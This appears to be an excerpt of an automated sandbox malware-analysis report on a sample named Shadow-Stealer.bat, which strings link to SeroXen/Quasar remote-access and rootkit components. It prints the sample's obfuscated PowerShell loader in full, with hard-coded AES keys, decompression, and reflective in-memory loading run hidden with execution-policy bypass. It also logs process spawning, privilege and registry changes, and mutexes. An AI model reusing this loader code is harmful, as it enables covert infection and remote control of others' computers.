$kAWoQ);}$xCaUG1 = New-Object System.Security.Cryptography.AesManaged;$xCaUG1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$qsFQP = $xCaUG1.('rotpyrceDetaerC'[-1..-15] -join '')();$UMIrZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2twxIFMV1JWyz0b8BpHEfA==');$UMIrZ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ, 0, $UMIrZ.Length);$UMIrZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ);$PYyQA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p05ztWCKuMfos2Q8RYoS+FIXy2DypHHbyYGL6Z+cEc8=');$PYyQA = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PYyQA, 0, $PYyQA.Length);$PYyQA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PYyQA);$roofG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Sy8HcJTfKA/mf4hPH+Go6g==');$roofG = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($roofG, 0, $roofG.Length);$roofG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($roofG);$tgmGC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BuxXfqRY1RoP0b/ROY4PrLV7XH6EyWkqL6UOT7VtjFZgNba4DmwvRZ0rEKh6tsW5E4dar7n8yKYorGfhmfzDSchZoElrP0gmf7pENQ75eXbqF+3j4N1LjY1xzYPYeJFwvJGbJvqe3CPoWhNQATtYtY/6ujGYTqqhsjIgqQdcVJyCExpvLG1KTAiDHwbcLEgHzlPLvK+nTj2PYL6WYsFa3I8rptDz3r9IvJABT8A6TOqZRS2q9nM/2K1/IRFUTDKvPPtYy9cd0jq4MTO7gDnvlUAC8kJM0rAwSo8RwA3zKJNYB
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{cbe0811f-76a5-44cc-bdc5-f8341ab968a9}
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{e8c47de4-1fa8-45ae-ba48-1e652857c9f1}
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{38d5fde3-99ae-4373-8c2f-8b4f5f08f7f3}
Source: C:\Windows\System32\winlogon.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{92e841ec-e3f1-4b8b-895f-b885255cbce1}
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{25768c7a-7ac5-4718-a464-d7bd931650f7}
Source: C:\Windows\System32\winlogon.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{2e416721-4f03-488b-85bf-d48d4305e55d}
Source: C:\Windows\System32\winlogon.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{6cf183fd-4345-4e83-86c3-b67edbc5a93f}
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{b21552e6-10c0-4b77-8348-e34fa993b74e}
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{408c66d6-6f69-434f-838a-86e87b4371ae}
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{205dcea9-d057-463c-a3cf-998f0b1939dc}
Source: C:\Windows\System32\winlogon.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{a65f9779-a778-403b-96e3-bdb0de023251}
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\Shadow-Stealer.bat.exe "Shadow-Stealer.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function pXqKy($AMMuC){ $QAuMi=[System.Security.Cryptography.Aes]::Create(); $QAuMi.Mode=[System.Security.Cryptography.CipherMode]::CBC; $QAuMi.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $QAuMi.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('loy14lThS3SgWk7zmlM+U1LaSbD9l9+GRTu5mLzp2mM='); $QAuMi.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lS2YpgJeBrTrEw/fJyL2OQ=='); $LSyot=$QAuMi.CreateDecryptor(); $return_var=$LSyot.TransformFinalBlock($AMMuC, 0, $AMMuC.Length); $LSyot.Dispose(); $QAuMi.Dispose(); $return_var;}function YaPup($AMMuC){ $BpqPy=New-Object System.IO.MemoryStream(,$AMMuC); $MUxyL=New-Object System.IO.MemoryStream; $QRzEr=New-Object System.IO.Compression.GZipStream($BpqPy, [IO.Compression.CompressionMode]::Decompress); $QRzEr.CopyTo($MUxyL); $QRzEr.Dispose(); $BpqPy.Dispose(); $MUxyL.Dispose(); $MUxyL.ToArray();}function dAvUr($AMMuC,$oAPri){ $TIrdu=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$AMMuC); $cmozY=$TIrdu.EntryPoint; $cmozY.Invoke($null, $oAPri);}$agzCo=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\user\Desktop\Shadow-Stealer.bat').Split([Environment]::NewLine);foreach ($xWgWP in $agzCo) { if ($xWgWP.StartsWith('SEROXEN')) { $gZeLJ=$xWgWP.Substring(7); break; }}$paQQY=[string[]]$gZeLJ.Split('\');$ahdVx=YaPup (pXqKy ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($paQQY[0])));$qbiwj=YaPup (pXqKy ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($paQQY[1])));dAvUr $qbiwj (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));dAvUr $ahdVx (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{2ca74e05-00fd-4f33-afb0-1baa728859ba}	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{a795ed5e-f9f8-4b9c-9e39-bf732c676d16}	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{3885b722-1a15-44b5-b09d-ff91e5413f87}	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{99a849d9-b898-48bd-a9ae-8d2739f763c9}	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process created: C:\Windows\$sxr-cmd.exe "C:\Windows\$sxr-cmd.exe" /c %$sxr-tjptoUybjVuvgCOJtIWn4312:&#<?=%	Jump to behavior
Source: C:\Windows\$sxr-cmd.exe	Process created: C:\Windows\$sxr-powershell.exe C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function VOHZF($Lwtxx){ $xCaUG=[System.Security.Cryptography.Aes]::Create(); $xCaUG.Mode=[System.Security.Cryptography.CipherMode]::CBC; $xCaUG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $xCaUG.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0='); $xCaUG.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg=='); $CTnvz=$xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')(); $oMfGF=$CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Lwtxx, 0, $Lwtxx.Length); $CTnvz.Dispose(); $xCaUG.Dispose(); $oMfGF;}function nnKof($Lwtxx){ $ABMbT=New-Object System.IO.MemoryStream(,$Lwtxx); $FswzF=New-Object System.IO.MemoryStream; $ZWQus=New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::Decompress); $ZWQus.CopyTo($FswzF); $ZWQus.Dispose(); $ABMbT.Dispose(); $FswzF.Dispose(); $FswzF.ToArray();}function vzvJZ($Lwtxx,$kAWoQ){ $kXIpu=[System.Reflection.Assembly]::Load([byte[]]$Lwtxx); $OPPDg=$kXIpu.EntryPoint; $OPPDg.Invoke($null, $kAWoQ);}$xCaUG1 = New-Object System.Security.Cryptography.AesManaged;$xCaUG1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$qsFQP = $xCaUG1.('rotpyrceDetaerC'[-1..-15] -join '')();$UMIrZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2twxIFMV1JWyz0b8BpHEfA==');$UMIrZ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ, 0, $UMIrZ.Length);$UMIrZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ);$PYyQA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p05ztWCKuMfos2Q8RYoS+FIXy2DypHHbyYGL6Z+cEc8=');$PYyQA = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PYyQA, 0, $PYyQA.Length);$PYyQA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PYyQA);$roofG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Sy8HcJTfKA/mf4hPH+Go6g==');$roofG = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($roofG, 0, $roofG.Length);$roofG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($roofG);$tgmGC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BuxXfqRY1RoP0b/ROY4PrLV7XH6EyWkqL6UOT7VtjFZgNba4DmwvRZ0rEKh6tsW5E4dar7n8yKYorGfhmfzDSchZoElrP0gmf7pENQ75eXbqF+3j4N1LjY1xzYPYeJFwvJGbJvqe3CPoWhNQATtYtY/6ujGYTqqhsjIgqQdcVJyCExpvLG1KTAiDHwbcLEgHzlPLvK+nTj2PYL6WYsFa3I8rptDz3r9IvJABT8A6TOqZRS2q9nM/2K1/IRFUTDKvPPtYy9cd0jq4MTO7gDnvlUAC8kJM0rAwSo8RwA3zKJNYBBv03aq6fIf9zugDa03cb0yO24aIfe5AFN+zOGDLKtWrsyyIVpjarzDCbBlxkhPRynAyHBM2A5pmzVa2gAc2+o8odD180Z07f5ZL3mYwTO8	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{8c0db931-f9fd-42d4-a5c0-43590a2016f6}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{c14234ed-73ac-4d78-a200-79518435a2b0}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\$sxr-powershell.exe "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(6400).WaitForExit();[System.Threading.Thread]::Sleep(5000); function VOHZF($Lwtxx){ $xCaUG=[System.Security.Cryptography.Aes]::Create(); $xCaUG.Mode=[System.Security.Cryptography.CipherMode]::CBC; $xCaUG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $xCaUG.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0='); $xCaUG.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg=='); $CTnvz=$xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')(); $oMfGF=$CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Lwtxx, 0, $Lwtxx.Length); $CTnvz.Dispose(); $xCaUG.Dispose(); $oMfGF;}function nnKof($Lwtxx){ $ABMbT=New-Object System.IO.MemoryStream(,$Lwtxx); $FswzF=New-Object System.IO.MemoryStream; $ZWQus=New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::Decompress); $ZWQus.CopyTo($FswzF); $ZWQus.Dispose(); $ABMbT.Dispose(); $FswzF.Dispose(); $FswzF.ToArray();}function vzvJZ($Lwtxx,$kAWoQ){ $kXIpu=[System.Reflection.Assembly]::Load([byte[]]$Lwtxx); $OPPDg=$kXIpu.EntryPoint; $OPPDg.Invoke($null, $kAWoQ);}$xCaUG1 = New-Object System.Security.Cryptography.AesManaged;$xCaUG1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$qsFQP = $xCaUG1.('rotpyrceDetaerC'[-1..-15] -join '')();$UMIrZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2twxIFMV1JWyz0b8BpHEfA==');$UMIrZ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ, 0, $UMIrZ.Length);$UMIrZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ);$PYyQA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p05ztWCKuMfos2Q8RYoS+FIXy2DypHHbyYGL6Z+cEc8=');$PYyQA = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PYyQA, 0, $PYyQA.Length);$PYyQA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PYyQA);$roofG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Sy8HcJTfKA/mf4hPH+Go6g==');$roofG = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($roofG, 0, $roofG.Length);$roofG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($roofG);$tgmGC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BuxXfqRY1RoP0b/ROY4PrLV7XH6EyWkqL6UOT7VtjFZgNba4DmwvRZ0rEKh6tsW5E4dar7n8yKYorGfhmfzDSchZoElrP0gmf7pENQ75eXbqF+3j4N1LjY1xzYPYeJFwvJGbJvqe3CPoWhNQATtYtY/6ujGYTqqhsjIgqQdcVJyCExpvLG1KTAiDHwbcLEgHzlPLvK+nTj2PYL6WYsFa3I8rptDz3r9IvJABT8A6TOqZRS2q9nM/2K1/IRFUTDKvPPtYy9cd0jq4MTO7gDnvlUAC8kJM0rAwSo8RwA3zKJNYB	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{cbe0811f-76a5-44cc-bdc5-f8341ab968a9}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{e8c47de4-1fa8-45ae-ba48-1e652857c9f1}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{38d5fde3-99ae-4373-8c2f-8b4f5f08f7f3}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{92e841ec-e3f1-4b8b-895f-b885255cbce1}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{25768c7a-7ac5-4718-a464-d7bd931650f7}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{2e416721-4f03-488b-85bf-d48d4305e55d}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{6cf183fd-4345-4e83-86c3-b67edbc5a93f}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{b21552e6-10c0-4b77-8348-e34fa993b74e}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{408c66d6-6f69-434f-838a-86e87b4371ae}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{205dcea9-d057-463c-a3cf-998f0b1939dc}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{a65f9779-a778-403b-96e3-bdb0de023251}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\dllhost.exe	Code function: 8_2_0000000140001014 GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,FindCloseChangeNotification,RegOpenKeyExW,RegDeleteValueW,SysAllocString,SysAllocString,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,CoUninitialize,SysFreeString,SysFreeString,GetProcessHeap,HeapAlloc,OpenProcess,TerminateProcess,CloseHandle,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,	8_2_0000000140001014
Source: C:\Windows\SysWOW64\dllhost.exe	Code function: 9_2_0040133E GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,FindCloseChangeNotification,	9_2_0040133E
Source: C:\Windows\System32\dllhost.exe	Code function: 20_2_0000000140001B30 LookupPrivilegeValueW,AdjustTokenPrivileges,FindCloseChangeNotification,FindResourceA,RegCreateKeyExW,RegSetKeySecurity,RegCreateKeyExW,RegSetValueExW,RegCloseKey,CreateThread,CreateThread,SleepEx,	20_2_0000000140001B30
Source: C:\Windows\SysWOW64\dllhost.exe	Code function: 23_2_00401B33 GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,FindCloseChangeNotification,	23_2_00401B33

Source: C:\Windows\$sxr-powershell.exe

WMI Queries: IWbemServices::ExecNotificationQuery - root\cimv2 : select * from Win32_ProcessStartTrace

Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jlgsfutp.pce.ps1

Jump to behavior

Source: C:\Windows\System32\dllhost.exe

Code function: 8_2_0000000140001014 GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,FindCloseChangeNotification,RegOpenKeyExW,RegDeleteValueW,SysAllocString,SysAllocString,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,CoUninitialize,SysFreeString,SysFreeString,GetProcessHeap,HeapAlloc,OpenProcess,TerminateProcess,CloseHandle,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,

8_2_0000000140001014

Source: C:\Windows\$sxr-cmd.exe

Code function: 13_2_00007FF71380FB54 memset,GetDiskFreeSpaceExW,??_V@YAXPEAX@Z,

13_2_00007FF71380FB54

Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\b8493bec853ac702d2188091d76ccffa\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\b8493bec853ac702d2188091d76ccffa\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\b8493bec853ac702d2188091d76ccffa\mscorlib.ni.dll

Source: C:\Windows\$sxr-powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\tmlNftmlNfSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYwSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYw
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2244:120:WilError_03
Source: C:\Windows\$sxr-powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\cf16a257-7d89-4296-8384-8fca3dbb568f
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4072:120:WilError_03

Source: C:\Windows\$sxr-mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: Shadow-Stealer.bat

Static file information: File size 13144733 > 1048576

Source:	Binary string: <Module>costura.metadatacostura.sharpdx.direct3d11.pdb.compressedcostura.costura.pdb.compressedcostura.sharpdx.dxgi.pdb.compressedcostura.sharpdx.pdb.compressedcostura.sharpdx.direct3d11.dll.compressedcostura.costura.dll.compressedcostura.sharpdx.dxgi.dll.compressedcostura.gma.system.mousekeyhook.dll.compressedcostura.system.runtime.interopservices.runtimeinformation.dll.compressedcostura.quasar.common.dll.compressedcostura.newtonsoft.json.dll.compressedcostura.bouncycastle.crypto.dll.compressedcostura.ionic.zip.dll.compressedcostura.microsoft.win32.taskscheduler.dll.compressedcostura.de.microsoft.win32.taskscheduler.resources.dll.compressedcostura.pl.microsoft.win32.taskscheduler.resources.dll.compressedcostura.zh-cn.microsoft.win32.taskscheduler.resources.dll.compressedcostura.fr.microsoft.win32.taskscheduler.resources.dll.compressedcostura.es.microsoft.win32.taskscheduler.resources.dll.compressedcostura.it.microsoft.win32.taskscheduler.resources.dll.compressedcostura.zh-hant.microsoft.win32.taskscheduler.resources.dll.compressedcostura.ru.microsoft.win32.taskscheduler.resources.dll.compressedcostura.protobuf-net.dll.compressedcostura.sharpdx.dll.compressed4a731784-801d-481b-a36f-654a2936777eQuasar.Client.InstallStager.exeQuasar.Client.UninstallStager.exeQuasar.Client.ResetPatcher.binQuasar.Client.QuasarApplication.resourcesQuasar.Client.Properties.Resources.resourcesILRepack.List source: $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdbSHA256 source: $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\C5\Documents\SeroXen Stuff\Quasar-master\Quasar-master-release\bin\Release\net452\REPOS\seroxen rootkit stuff\InstallStager\bin\Release\InstallStager.pdb source: $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.sharpdx.dxgi.pdb.compressed\|\|\|SharpDX.DXGI.pdb\|D73E59804E3EE494A4612185771F7F67B2FD64AE\|34752 source: $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.sharpdx.direct3d11.pdb.compressed source: $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.sharpdx.dxgi.pdb.compressed source: $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdb source: $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: mshta.pdbGCTL source: $sxr-mshta.exe, 0000000A.00000002.3381136829.00007FF64E1D2000.00000002.00000001.01000000.00000007.sdmp, $sxr-mshta.exe, 0000000A.00000000.2355999536.00007FF64E1D2000.00000002.00000001.01000000.00000007.sdmp, $sxr-mshta.exe.3.dr
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: yApVCRtJPjQJu.exe, 0000002A.00000002.3355364200.000000000083E000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: costura.costura.pdb.compressed source: $sxr-powershell.exe, 0000000F.00000002.3389530773.000001FABCF5A000.00000004.00000800.00020000.00000000.sdmp, $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.sharpdx.pdb.compressed\|\|\|SharpDX.pdb\|1A7C10AA582CCEEBFFD9BC77A11353AAAE6417E9\|42824 source: $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: cmd.pdbUGP source: $sxr-cmd.exe, 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmp, $sxr-cmd.exe, 0000000D.00000000.2370623512.00007FF713812000.00000002.00000001.01000000.0000000B.sdmp, $sxr-cmd.exe.3.dr
Source:	Binary string: #costura.sharpdx.dxgi.pdb.compressed source: $sxr-powershell.exe, 0000000F.00000002.3389530773.000001FABCF5A000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.sharpdx.direct3d11.pdb.compressed\|\|\|SharpDX.Direct3D11.pdb\|A2259A45EA284247B3AA65EC9C1DBEBD47FE208F\|78220 source: $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: powershell.pdbUGP source: Shadow-Stealer.bat.exe, 00000003.00000000.2146647550.00007FF6BFFCA000.00000002.00000001.01000000.00000003.sdmp, Shadow-Stealer.bat.exe.0.dr, $sxr-powershell.exe.3.dr
Source:	Binary string: powershell.pdb source: Shadow-Stealer.bat.exe, 00000003.00000000.2146647550.00007FF6BFFCA000.00000002.00000001.01000000.00000003.sdmp, Shadow-Stealer.bat.exe.0.dr, $sxr-powershell.exe.3.dr
